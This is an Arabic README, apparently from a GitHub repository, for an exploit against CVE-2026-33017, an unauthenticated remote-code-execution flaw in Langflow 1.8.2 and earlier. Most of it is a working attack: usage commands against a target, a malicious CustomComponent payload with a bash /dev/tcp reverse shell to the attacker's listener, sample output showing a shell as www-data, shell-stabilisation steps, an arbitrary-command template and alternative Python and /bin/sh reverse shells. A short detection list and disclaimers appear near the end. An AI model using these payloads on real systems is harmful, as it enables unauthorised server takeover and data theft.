
استغلال لثغرة CVE-2026-33017، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) غير مصادق عليها في Langflow، تتيح الحصول على قشرة عكسية عبر حمولة CustomComponent خبيثة.
CVE-2026-33017 هو ثغرة تنفيذ أوامر عن بُعد (RCE) غير مُصادق عليها في إصدارات Langflow <= 1.8.2. توجد الثغرة في نقطة النهاية /api/v1/build_public_tmp/{flow_id}/flow، التي تفتقر إلى المصادقة المناسبة وتسمح للمهاجمين بتنفيذ كود Python تعسفي أثناء عملية تجميع الرسم البياني.
هذا الاستغلال لأغراض تعليمية واختبارات مصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
| الإصدار | الحالة |
|---|
| <= 1.8.2 | قابل للاستغلال |
| 1.9.0 | تم إصلاحه |
تنبع الثغرة من دالة prepare_global_scope() في ملف validate.py، التي تستدعي exec() على كود كل عقدة CustomComponent دون عزل (sandboxing) مناسب. عند تحميل/تجميع مكوّن، يتم تنفيذ أي كود Python على مستوى الوحدة (خارج تعريفات الفئات) فورًا.
POST /api/v1/build_public_tmp/{flow_id}/flow
الخصائص:
Attacker POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← تنفيذ كود تعسفي
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. قشرة عكسية
# تشغيل المستمع
nc -lvnp 4444
# تشغيل الاستغلال
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. استخدام الخيارات المختصرة
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. اختبار محلي
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. مهلة مخصصة
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| الوسيطة | المختصر | مطلوبة | الوصف |
|---|---|---|---|
--url | -u | نعم | عنوان الهدف (مثل: https://target.langflow.com) |
--flow-id | -f | نعم | معرف التدفق (UUID) للتدفق العام |
--lhost | -lh | نعم | عنوان IP للمستمع للقشرة العكسية |
--lport | -lp | نعم | منفذ المستمع للقشرة العكسية |
--timeout | -t | لا | مهلة HTTP بالثواني (الافتراضي: 15) |
يرسل الاستغلال عقدة CustomComponent خبيثة تنفذ كودًا على مستوى الوحدة:
import os
# يتم تنفيذ هذا فورًا أثناء تحميل المكوّن
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. يرسل المهاجم طلب POST إلى /api/v1/build_public_tmp/{flow_id}/flow
2. يستقبل Langflow الـ CustomComponent الخبيث
3. تستدعي prepare_global_scope() دالة exec() على كود المكوّن
4. يتم تنفيذ الكود على مستوى الوحدة فورًا
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. تتصل القشرة العكسية بمستمع المهاجم
6. يستمر تجميع الرسم البياني (ولكن الأوان فات)
exec()exec() دون قيودdata مضمّن مباشرة$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================
[!] تأكد من تشغيل المستمع:
nc -lvnp 4444
[+] عنوان الهدف: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] جاري إرسال حمولة الاستغلال...
[+] رمز الحالة: 200
[+] تم إرسال الاستغلال بنجاح!
[+] معرف المهمة: abc123-def456-789ghi
[*] تحقق من المستمع للحصول على القشرة العكسية!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
بمجرد حصولك على قشرة عكسية:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# أو استخدام script
script /dev/null -c bash
# الإرسال للخلفية باستخدام Ctrl+Z
# ثم تشغيل:
stty raw -echo
fg
reset
export TERM=xterm
عدّل السكربت لتنفيذ أوامر تعسفية بدلاً من القشرة العكسية:
# في دالة build_payload():
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. قشرة عكسية عبر Python Socket
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. قشرة عكسية عبر /bin/sh (إذا لم يكن bash متاحًا)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow دون مصادقةCustomComponent مشبوه يحتوي على os.system() أو subprocess/tmp/rce-proof أو /tmp/executed/build_public_tmpCustomComponentexec()| التاريخ | الحدث |
|---|---|
| مارس 2026 | اكتشاف الثغرة |
| 16 مارس 2026 | نشر تنبيه GitHub |
| أبريل 2026 | الكشف العام |
| أبريل 2026 | إصدار التصحيح (1.9.0) |
هذا المشروع لأغراض تعليمية فقط. استخدمه على مسؤوليتك الخاصة.
يُوفَّر هذا البرنامج لأغراض تعليمية واختبارات أمنية مصرح بها فقط. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. يتحمل المستخدمون وحدهم مسؤولية الامتثال لجميع القوانين واللوائح المعمول بها.
صُنع بـ 🖤 لأبحاث الأمن